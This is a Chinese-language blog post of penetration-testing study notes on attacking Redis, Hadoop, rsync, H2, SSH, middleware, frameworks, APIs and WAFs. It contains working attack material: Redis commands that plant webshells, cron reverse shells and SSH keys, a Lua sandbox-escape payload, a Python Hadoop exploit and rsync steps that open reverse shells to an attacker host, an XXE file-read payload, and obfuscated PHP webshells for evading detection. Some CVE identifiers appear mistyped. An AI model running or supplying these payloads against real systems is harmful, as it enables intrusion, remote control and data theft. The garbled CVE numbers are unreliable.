2024全栈渗透学习笔记(二)

第二十天:服务攻防-数据库安全

常见服务应用的安全测试:

  • 配置不当-未授权访问
  • 安全机制-特定安全漏洞
  • 安全机制-弱口令爆破攻击

应用服务安全测试流程:

  1. 判断服务开发情况-端口扫描&应用组合猜测等
  2. 判断服务类型-数据库&文件传输&通讯等
  3. 判断服务利用方式-特定漏洞&未授权&弱口令

Redis

Redis默认端口6379;默认未配置密码且require 127.0.0.1被注释(异地可连接Redis),若不配置则可以使用redis-cli工具连接Redis实现未授权访问,然后进行后续操作。

写WebShell

利用条件:有WEB目录可读写权限

config set dir /tmp #设置写入的目录
config set dbfilename Miku.php #写入文件名
set test"<?php phpinfo();?>" #写入php代码
bgsave #保存执行
save #保存执行

写定时任务反弹shell

利用条件:允许异地登录;安全模式protected-mode处于关闭

config set dir /var/spool/cron
set yy "\n\n\n***** bash -i >&/dev/tcp/[攻击机ip]/[监听端口] 0>&1\n\n\n"
config set dbfilename Miku
save

写入Linux ssh-key公钥

利用条件:允许异地登录;Redis服务使用root账号启动;安全模式protected-mode处于关闭;允许使用密钥登录(即可远程写入一个公钥用于远程登录服务器)

ssh-keygen -t rsa #在攻击机上生成一个密钥
cd /root/.ssh/ #访问密钥存放目录
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt #把密钥写入key.txt
cat key.txt | redis-cli -h [ip] -x set Miku #用redis-cli连接Redis并将密钥对命名为Miku保存在目标服务器上
config set dir /root/.ssh/ #在目标机上设置写入目录
config set dbfilename authorized_keys #在目标机上设置写入文件名
save
cd /root/.ssh/ #在攻击机上访问密钥存放目录
ssh -i id_rsa root@[ip] #用之前生成的密钥登录目标服务器

RCE自动化利用脚本-vulfocus

利用脚本:GitHub – vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

python redis-master.py -r [目标ip] -p [目标端口] -L [攻击机ip] -P [监听端口] -f RedisModulesSDK/exp.so -c "id"

“id”可换成其它命令比如反弹shell

沙箱绕过RCE CVE-2022-0543

连接redis后本可以通过eval执行lua脚本,但由于lua脚本是在沙箱环境中无法被执行。但是Debian自动了一个package变量,该变量允许访问任意lua功能。于是可以借助变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行该导出函数即可获得io库,然后使用它来执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r"); #id是可更改的待执行命令
local res = f:read("*a");
f:close();
return res

根据以上命令思路可以得到Payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0

Mysql

CVE-2012-2122 Mysql未授权访问漏洞:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

Mysql默认配置root用户,而root用户拒绝远程连接请求,但可以借助phpmyadmin猜解登录数据库。

Hadoop

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

思路:未授权访问配合内置命令RCE(RCE弹个shell)

EXP:

import requests

target = ‘http://192.168.1.8:8088/’
lhost = ‘192.168.1.8’ # 攻击方的IP地址

url = target + ‘ws/v1/cluster/apps/new-application’
resp = requests.post(url)
app_id = resp.json()[‘application-id’]
url = target + ‘ws/v1/cluster/apps’
data = {
‘application-id’: app_id,
‘application-name’: ‘get-shell’,
‘am-container-spec’: {
‘commands’: {
‘command’: ‘/bin/bash -i >& /dev/tcp/%s/9999 0>&1’ % lhost,
},
},
‘application-type’: ‘YARN’,
}
requests.post(url, json=data)

防御手段:如无必要则关闭Hadoop Web管理页面;开启身份验证防止未授权访问;设置安全组访问控制策略,限制Hadoop默认开放的多个端口在公网上的访问权限包括50070以及WebUI等端口。

influxdb-未授权访问-jwt验证不当

默认端口:8086,8088

influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证但没设置参数shared-secret时,jwt的认证密钥为空字符串,此时攻击者可伪造任意用户身份在influxdb中执行sql语句。步骤:

1.借助jwt.io生成jwt-token:{“alg”:”HS256″,”typ”:”JWT”}{“username”:”admin”,”exp”:1676346267} #exp是时间戳(时间的一个格式,可与年月日分秒相互转换),代表token的过期时间,要设置一个未来的时间戳。

2.发送带有jwt-token的数据包触发未授权操作,数据包构造方式可以在vulhub.org上查找。

H2database-未授权访问-配置不当

默认端口:20051;默认端口不代表WEB管理页面默认端口

H2database是一款java内存数据库,多用于单元测试。自带一个WEB管理页面,在spring开发中,若设置选项spring.h2.console.enabled和spring.h2.console.settings.web-allow-others为true(即允许外部用户访问WEB管理页面),且没有鉴权,则可以利用该管理页面进行JNDI注入攻击,执行任意命令。步骤:

1.下载JNDI-Injection-Exploit:GitHub – welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

2.生成RMI Payload-URL:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [要执行的命令] -A [攻击机ip] 

3.在H2的WEB管理页面登录口,将生成的RMI Payload-URL填入JDBC URL使其远程加载生成的Payload,Driver Class填入javax.naming.InitialContext,提交执行。

整个流程就像是在攻击机生成一个监听,然后让H2向攻击机发起请求并接收处理攻击代码。

CouchDB-权限绕过配合RCE-漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库(面向文档)。

CVE-2017-12635:发送创建角色且”roles”:[“_admin”]的数据包后会返回403报错,提示仅管理员可设置roles。发送包含两个roles的数据包即可绕过限制,第一个roles为admin,第二个为空,具体数据包的构造方式,查阅该漏洞报告即可。

CVE-2017-12636:利用网上exp实现RCE,详细内容可在网上查找该CVE。

ElasticSearch-文件写入&RCE-漏洞

默认端口:9200,9300

Elasticsearch是一个基于Lucene的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎(Java开发)。

CVE-2015-110216(文件写入):ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

CVE-2014-3120(RCE):Elasticsearch 1.2之前的版本默认配置启用了动态脚本,该脚本允许远程攻击者通过 _search 的 source 参数执行任意 MVEL 表达式和 Java 代码。

第二十一天:服务攻防-应用协议

口令猜解-Hydra-FTP&RDP&SSH

FTP(文件传输协议)默认端口:21;RDP(Windows远程桌面协议):3389;SSH(Linux安全外壳协议):22

Hydra自动化破解工具,支持多种协议爆破,已集成于Kali系统。

  • -s PORT #指定非默认端口
  • -l LOGIN #指定破解的用户
  • -L FILE #指定用户名字典
  • -p PASS #小写p指定密码,一般用密码字典,故少用
  • -P FILE #大写p指定密码字典
  • -e ns #可选选项,n:空密码试探,s:使用指定用户密码试探
  • -C FILE #使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
  • -M FILE #指定目标列表文件一行一条
  • -o FILE #指定结果输出文件
  • -f #在使用-M参数后找到第一对登录名或密码时候,停止破解
  • -t TASKS #同时运行的线程数,默认为16
  • -w TIME #设置最大超时的时间,单位秒,默认为30s
  • -v/-V #显示详细过程
  • server #目标ip
  • service #指定服务名

Rsync文件备份-配置不当-未授权访问

Rsync是Linux下的一款数据备份工具,支持通过Rsync协议、ssh协议进行远程文件传输,其中Rsync协议默认监听873端口。若目标开启了Rsync服务且没有配置ACL或访问密码,攻击者将可以读写目标服务器文件。

判断:rsync rsync://[目标ip]:873/

利用:

  • 读取文件:rsync rsync://[目标ip]:873/src/
  • 下载文件:rsync rsync://[目标ip]:873/src/etc/passwd ./
  • 上传文件:rsync -av passwd rsync://[目标ip]:873/src/tmp/passwd

反弹shell(通过添加计划任务触发反弹shell):

rsync rsync://[目标ip]:873/src/etc/crontab /root/cron.txt #获取信息
touch Miku #创建文件

/*文件内容
#!/bin/bash
/bin/bash -i >& /dev/tcp/[攻击机ip]/[监听端口] 0>&1
*/

chmod +x Miku
rsync -av Miku rsync://[目标ip]:873/src/etc/cron.hourly #上传文件

或者用MSF的use auxiliary/scanner/rsync/modules_list配合fofa_viewer直接梭哈

fofa_viewer工具(功能类似fofa.io的资产爬虫工具):GitHub – wgpsec/fofa_viewer: A simple FOFA client written in JavaFX. Made by WgpSec, Maintained by f1ashine.

FTP&ProFTPD搭建

proftp是用于搭建基于ftp协议的应用软件;ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。

CVE-2015-3306 proftpd远程代码执行:ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。 复制命令使用ProFTPD服务的权限执行,默认情况下,该服务在“nobody”用户的权限下运行。 通过使用/ proc / self / cmdline将PHP有效负载复制到网站目录,可以实现PHP远程代码执行。

EXP地址:https://github.com/t0kx/exploit-CVE-2015-3306

利用:python exploit.py –host [ip] –port [端口] –path “/var/www/html/”

执行EXP后访问[ip]:[端口]/backdorr.php?cmd=id #id可更换其他命令

SSH&libssh&OpenSSH

CVE-2014-0160(OpenSSH心脏滴血漏洞)过久,基本用不上

CVE-2020-15778(OpenSSH命令注入漏洞)利用条件高,至少需要有一个服务器上的非root用户,结果是通过执行scp命令得到反弹shell,但得到的shell依旧是普通用户,因此价值不高。利用目的在于不能使用ssh连接但可以使用scp时,通过反弹shell得到普通用户权限。

CVE-2018-15473用户名枚举,EXP:GitHub – Rhynorater/CVE-2018-15473-Exploit: Exploit written in Python for CVE-2018-15473 with threading and export formats

CVE-2018-10933(libssh身份验证绕过漏洞),libssh是一个用于访问SSH服务的C语言开发包,能够执行远程命令、文件传输,同时为远程的查询提供安全的传输通道。server-side state machine是其中一个服务器端状态机,攻击者可以通过MSG_USERAUTH_SUCCESS在身份验证成功之前发送消息(发送命令),从而绕过身份验证并访问SSH服务器。EXP:libssh authentication bypass in server code (CVE-2018-10993) – 知道创宇 Seebug 漏洞平台

VNC远程连接

利用Hydra工具猜解VNC密码

TeamViewer

CVE-2020-13699:TeamViewer存在未引用的搜索路径或元素的安全缺陷,由于应用程序没有正确引用它的自定义URI处理程序,当安装有TeamViewer的易受攻击版本的系统访问恶意创建的网站时,可能会被利用。攻击者可以使用精心制作的URL(iframe src=’teamviewer10: –play \\attacker-IP\share\fake.tvs’)将恶意iframe嵌入网站中,从而启动TeamViewer Windows桌面客户端并强制其打开远程SMB共享。Windows将在打开SMB共享时,执行NTLM身份验证,并且可以转发该请求(使用如响应程序之类的工具)以执行代码(或捕获该请求以进行哈希破解)。该漏洞的利用可以远程启动,并且不需要事先进行身份验证,是水坑攻击的理想选择。

向日葵

利用工具:GitHub – Mr-xn/sunlogin_rce: 向日葵 RCE

设备平台-Zabbix

Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级开源解决方案。默认端口:10051

CVE-2022-23131(登录绕过漏洞):GitHub – L0ading-x/cve-2022-23131: cve-2022-23131

利用漏洞打入Zabbix后可以在Script栏中添加Script类型脚本写一个反弹shell

设备平台-Kibana

Kibana是Elassticsearch(ES)设计的一款开源视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令。默认端口:5601

利用该漏洞需要先有账号登入进平台管理界面。

CVE-2019-7609:CVE-2019-7609:Kibana远程代码执行漏洞复现-CSDN博客

第二十二天:服务攻防-中间件安全

中间件及框架列表:IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,ThinkPHP,Spring,Flask,jQuery等

判断中间件类别和版本:抓包看Server;用ip/域名查网站信息

IIS-短文件&解析&蓝屏

短文件和文件解析漏洞在前面已经有写过,就不重复了

HTTP.SYS:蓝屏漏洞;本是远程代码执行漏洞,但是没有公开POC和EXP,只有使系统蓝屏崩溃的EXP;2015年的漏洞太老。

CVE-2017-7269(远程代码执行漏洞):IIS6.0版本,且需开启WebDAV支持,而IIS6.0默认不开启WebDAV支持。

Nginx-文件解析&命令执行

后缀解析-配置不当,与Nginx、php版本无关,属于用户配置不当造成。

CVE-2013-4547:文件名逻辑漏洞,Nginx 0.8.41~1.4.3/1.5.0~1.5.7

CVE-2021-23017:无EXP

CVE-2017-7529:range filter模块存在输入验证错误漏洞,可获取敏感信息(危害不大)

Apache-RCE&目录遍历&文件解析

CVE-2021-42013:远程代码执行RCE

CVE-2021-41773:目录穿越

CVE-2017-15715:文件解析

CVE-2017-9798:若能在.htaccess文件中设置Limit指令或httpd.conf中有错误配置,则可以读取进程内存敏感数据,价值不高

CVE-2018-11759:价值不高

CVE-2021-37580:插件问题

Tomcat-弱口令&文件上传&文件包含

弱口令猜解:配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell。(War包一般是在进行Web开发时,通常是一个网站Project下的所有源码的集合,里面包含前台HTML/CSS/JS/JSP等的代码,也包含编译Java的代码。Web存档-war文件包含Web应用程序的所有内容)

CVE-2017-12615:存在该漏洞的Tmocat运行且启用了HTTP PUT请求方法,将可通过构造请求数据包向服务器上传包含任意代码的JSP的webshell,JSP将能被服务器执行。

CVE-2020-1938:文件包含漏洞,Apache Tomcat AJP协议(默认端口8009)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞构造特定参数,可读取webapp目录下的任意文件,有条件可进一步配合文件上传漏洞实现getshell。

CVE-2020-11996:拒绝服务攻击,无意义

CVE-2020-9484:反序列化漏洞,条件苛刻,意义不大

WebLogic-工具梭哈

探针默认端口:7001

CVE-2017-3506,CVE-2018-2893,CVE-2018-3245,CVE-2020-14882,CVE-2021-2394(反序列化:GitHub – lz2y/CVE-2021-2394: POC of CVE-2021-2394

JBoos-工具梭哈

JBoos通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093;

CVE-2017-12149,CVE-2017-7504

Jenkins-工具梭哈

探针默认端口:8080

CVE-2017-11000353,CVE-2018-1000861,CVE-2019-100300

GlassFISH-工具梭哈

探针默认端口:4848

CVE-2017-1000028:读取敏感信息

K8s

Kubernetes简称K8s,用于自动部署、扩展和管理容器化应用程序的开源系统,与Docker一起都是热门的容器化技术。

K8s集群主要由多个组件组成,每个组件会开放对应端口,通过检测端口开放情况可以判断出是否为K8s:

  • kube-apiserver:K8s master节点api服务器,以REST API服务形式提供接口,作为整个K8s的控制入口
  • kube-controller-manager:执行整个K8s的后台任务,包括节点状态状况、Pod个数、Pods和Service的关联等
  • kube-scheduler:接收来自kube-apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点
  • etcd:K8s的键值对形式数据库,是保存了K8s所有集群数据的后台数据库
  • kube-proxy:运行在每个node节点上,负责Pod网络代理,定时从etcd获取到service信息来做相应的策略
  • kubelet:运行在每个node节点上,作为agent,接收分配该节点的Pods任务及管理容器,周期性获取容器状态,反馈给kube-apiserver

提权漏洞:CVE-2018-1002105

Jetty(仅有限的信息泄露)

Clipse Jetty是一个开源的servlet容器,为基于Java的Web容器提供运行环境

CVE-2021-28164

CVE-2021-28169

Docker

Docker容器使用沙箱机制,是单独的系统。

Docker逃逸漏洞:通过某种手段结合执行EXP可以返回一个宿主机的高权限Shell,并拿到宿主机的root权限,可以直接操作宿主机文件,实现了从容器中逃出的效果。

1.容器判断:

  • 是否存在.dockerenv文件:ls -alh /.dockerenv
  • 查询系统进程的cgroup信息:cat /proc/1/cgroup

2.容器逃逸漏洞:(权限提升)

  • 内核漏洞引起:Dirty Cow —— CVE-2016-5195(下载一个exp文件上传到目标机器直接打)
  • Docker软件设计引起:CVE-2019-5736、CVE-2019-14271、CVE-2020-15257
  • 配置不当引起:开启privileged特权模式+宿主机目录挂载(文件挂载)、功能(capablities)机制、sock通信方式

3.容器安全漏洞:docker未授权访问漏洞(搜个exp直接打)

WebSphere

端口:9080-WEB(http)应用访问端口,9443-WEB(https)应用访问端口,9060-管理后台访问端口,9043-管理控制台安全端口,8880-SOAP连接器端口

CVE-2015-7450:反序列化,直接工具梭哈

弱口令登录后,上传拿shell(传war文件,jsp木马):6.x-7.0版本,后台登录只需要输入admin作为用户标识,无需密码即可登录后台(啊?这么离谱?);若有密码登录则尝试默认账户密码组合-websphere/websphere,-system/manager

CVE-2020-4450:无利用EXP

第二十三天:服务攻防-框架安全

常见语言开发框架:

  • PHP:ThinkPHP、Laravel、YII、Codelgniter、CakePHP、Zend等
  • JAVA:Spring、MyBatis、Hibernate、Struts2、Springboot等
  • Python:Django、Flask、Bottle、Turbobars、Tornado、Web2py等
  • Javascript: Vue.js、Node.js、Bootstrap、JQuery、Angulary等

PHP-ThinkPHP:3.x-5.x RCE(工具箱直接梭)

PHP-Laravel:CVE-2021-3129(远程代码执行)<= 8.4.2

Java-Struts2:2020年前较多漏洞,工具多,工具箱直接梭;CVE-2021-31805

Java-Spring:Spring不是单独的框架,是由于软件开发的复杂性而创建的

  • CVE-2017-4971(Spring Web Flow 2.4.0-2.4.4)
  • CVE-2018-1273(Spring Data Commons 1.13-1.13.10:Ingalls SR10,Spring Data REST 2.6-2.6.10:Ingalls SR10,Spring Data Commons 2.0-2.0.5:Kay SR5,Spring Data REST 3.0-3.0.5:Kay SR5)
  • CVE-2022-22963(Spring Cloud Function Spel表达式注入——好像在哪一次比赛做过?)

Python-Django:

  • CVE-2019-14234(SQL注入+RCE)
  • CVE-2021-35042(SQL注入)

Python-Flask/Jinjia2/SSTI:模板注入

Javascript-Node.js:

  • CVE-2021-21315(RCE)
  • CVE-2017-14849(目录穿越)

Javascript-JQuery:CVE-2018-9207(文件上传)JQuery Upload File <= 4.0.2,根目录下的/jquery-upload-file

Apache-Shiro:一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理;判断方式:大多会发生在登录处,返回包里包含rememberMe、deleteMe字段

  • <= 1.2.4默认密钥导致命令执行漏洞:CVE-2016-4483
  • < 1.3.2验证绕过漏洞:CVE-2020-1957
  • < 1.4.2 cookie oracle padding漏洞:CVE-2019-12442
  • < 1.5.2 验证绕过漏洞:CVE-2020-1957
  • < 1.5.3 验证绕过漏洞:CVE-2020-11989
  • < 1.6.0 验证绕过漏洞:CVE-2020-13933
  • < 1.7.1 权限绕过漏洞:CVE-2020-17523

Apache-Solr:一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的,Solr是一个高性能、采用Java5开发、基于Lucene的全文搜索服务器

  • CVE-2017-12629:RCE、XXE
  • CVE-2019-17558:任意文件读取、命令执行
  • CVE-2019-0192:远程命令执行漏洞
  • CVE-2019-0193:远程命令执行漏洞
  • CVE-2020-13957:未授权上传漏洞
  • CVE-2021-27905:Apache Solr SSRF

第二十四天:API攻防-接口安全

检测是否存在接口地址路径,并测试接口是否存在安全问题

  • HTTP类接口
  • RPC类接口
  • Web Service类接口

SOAP(Simple Object Access Protocol)简单对象访问协议是交换数据的一种协议规范,是一种轻量、简单、基于XML的协议,它被设计成在WEB上交换结构化、固化的信息。SOAP不是Web Service的专有协议。SOAP使用HTTP来发送XML格式的数据,可以简单理解为:SOAP=HTTP+XML、

REST(Representational State Transfer)表达性状态传递,在三种主流的Web服务实现方案中,因为REST模式的Web服务与复杂的SOAP和XML-RPC对比更为简洁,越来越多的Web服务开始采用REST风格设计实现。

WSDL(Web Services Description Language)网络服务描述语言,用于描述Web服务的公共接口。是一个基于XML的关于如何与Web服务通讯和使用的服务描述——描述与目录中列出的Web服务进行交互时需要绑定的协议和信息格式。通常使用抽象语言描述该服务支持的操作和信息,使用的时候再将实际的网络协议和信息格式绑定给该服务。

案例

WebService类-Wsdl&SoapUI/ReadyAPI探测工具-SQL注入:

  1. 检测是否存在WebServices接口:爬虫、探针——“?wsdl”
  2. 利用工具SoapUI或ReadyAPI自动检测接口中是否存在可注入参数或者其它漏洞

SOAP类-Swagger&SoapUI&EXP:(Swagger用于管理、调试接口,集成了接口的信息)

  1. 检测目录(看有没有Swagger相关的路径)&JS资源(看有没有引用含swagger等关键词的js文件)
  2. 利用工具Swagger-Hack检测接口是否存在漏洞

HTTP类-Webpack&PackerFuzzer:(Webpack,JavaScript应用程序的静态模块打包工具)

  1. 利用插件(Wappalyzer)判断&检测JS资源(有无引用包含webpack关键词、随机字符串的js文件)
  2. 利用PackerFuzzer工具识别、测试目标的js文件是否存在安全问题

其它

Postman自动化测试工具——针对API的测试

DVWS靶场——API漏洞靶场

遇到Body里是XML的格式,尝试XXE注入(也可以用Postman直接测试);若忘记XXE的用法则跳回前一个笔记查阅

<?xml version = "1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<soapenv:Envelope xmlns:xsi="http://[url]/XMLSchema-instance" xmlns:xsd="http://[url]/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:examples:usernameservice">
    <soapenv:Header/>
    <soapenv:Body>
        <urn:Username soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <username xsi:type="xsd:string">&test</username>
        </urn:Username>
    </soapenv:Body>
</soapenv:Envelope>

第二十五天:APP攻防(不全)

APK资源提取:利用工具APK Messenger.exe提取apk文件资源:基本信息&资源文件&开启权限等

微信小程序-真机/模拟器抓包&分包反编译

安卓系统抓包:

  • 安卓系统7.0以下版本,微信任意版本,都会信任系统提供的证书
  • 安卓系统7.0以上版本,微信7.0以下版本,微信会信任系统提供的证书
  • 安卓系统7.0以上版本,微信7.0以上版本,微信只信任它自己配置的证书列表

解决方式:

  • 将证书安卓到系统证书中(需要root)
  • 苹果手机(苹果手机不受此影响)
  • 采用安卓系统低于7.0的模拟器

分包反编译:点开小程序后,在/WeChat Files/Applet中找到小程序的文件并利用工具进行反编译

第二十六天:漏洞发现&利用

主流漏扫工具:Burpsuite、Awbs、Xray、Goby、Afrog、Vulmap、Pocassist、Nessus、Nuclei、Pentestkit、Kunyu、BP插件(HaE,ShiroScan,FastJsonScan,Log4j2Scan)等

网站源码分自己开发与采用开源CMS或其它团队开发;个人写的源码可能因为没有安全意识,用漏扫工具可以扫出常规漏洞;开源CMS大部分在上线前就有经过漏扫检测,很难扫出常规漏洞。同时要注意工具的开发方比如AWVS是国外的工具,用来扫冷门、小众、国内的CMS源码就不合适。

WEB-框架层面

框架扫描:Goby、Vulmap、Afrog、Pocassist、Wappalyzer(浏览器插件)、Nuclei(和Goby一样,扫主机上的资产信息),FOFA(较常用),Shodan,FofaMap(自带了Nuclei,可利用FOFA收集到目标的资产信息再导入到Nuclei里扫描)

Burpsuite抓包后利用插件检测:FioraSpringFastjsonShiroLog4j

PC操作系统层面

Nessus支持扫操作系统漏洞(大部分时候都是扫不到漏洞的,顶多获取些操作系统信息)。

Nexpose,和MSF一个公司产的,扫出来可以直接利用MSF。没有WEB应用程序扫描,主攻操作系统,对于大型复杂网络,优先考虑使用(安装Nexpose需要企业邮箱)。

MSF框架利用

库查找-CVE&CNVD&关键字:漏洞对象、漏洞编号、漏洞类型

库整理-CVE&CNVD漏洞详情

新漏洞-框架或其他未集成漏洞的利用

第二十七天:WAF攻防

WAF:Web Application Firewall(WEB应用防火墙-拦截过滤操作)

  • 软件型WAF:以软件形式安装在服务器上,可以接触到服务器上的文件,可以检测到服务器上是否有webshell以及是否有文件被创建
  • 硬件型WAF:以硬件形式部署在链路中,支持多种部署方式。串联到链路上时可以拦截恶意流量,在旁路监听模式下只记录攻击但不进行拦截
  • 云WAF:一般以反向代理的形式工作,配置后使对网站的请求数据先经过WAF主机,过滤后再发给服务器
  • 网站内置WAF:网站内部的过滤,直接出现在网站代码中(常见在CTF),对输入的参数进行敏感词检测、强制转换

识别WAF:FOFA、OWASP插件

信息收集

工具扫描,通过配置选项避免WAF:

  • 延迟扫描:防止因请求过快被封IP
  • 代理池(需要钞能力):通过更换IP,在确保速度的情况下防止请求过快被封IP(Proxifier、kuaidaili隧道代理)
  • 白名单:模拟白名单模拟WAF授权测试,防止测试拦截(爬虫时候设置UA头为360spider等名字,伪装成一些官方网站的爬虫来绕过WAF)
  • 模拟用户:模拟真实用户数据包请求探针,绕过WAF指纹识别
  • 黑暗引擎:Fofa、Quake、Shodan、zoomeye、0.zone,被动收集,避免与WAF直接接触
  • 其他第三方网络接口-在线工具网站

权限控制

权限维持:蚁剑、菜刀、冰蝎、天蝎、哥斯拉

查杀机制:函数匹配(正则表达式过滤)、工具指纹、机器语言、行为分析

免杀思路:绕过正则匹配(更详细看学长博客)

  1. 传参带入:$a=$_GET[‘a’];$aa=$a’ert’;$aa(base64_decode($_GET[‘x’]));——?a=ass&x=cGhwaW5mbygpOw==
  2. 变量覆盖:$a=’b’;$b=’assert’;$$a(base64_decode($_POST[‘x’]));——x=cGhwaW5mbygpOw==
  3. 加密&异或运算-无字符Webshell(可以利用python脚本进行异或运算):$a=(‘SOH’^’`’).’ssert’;$a($_POST[‘x’]);

前方施工中。。。

欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next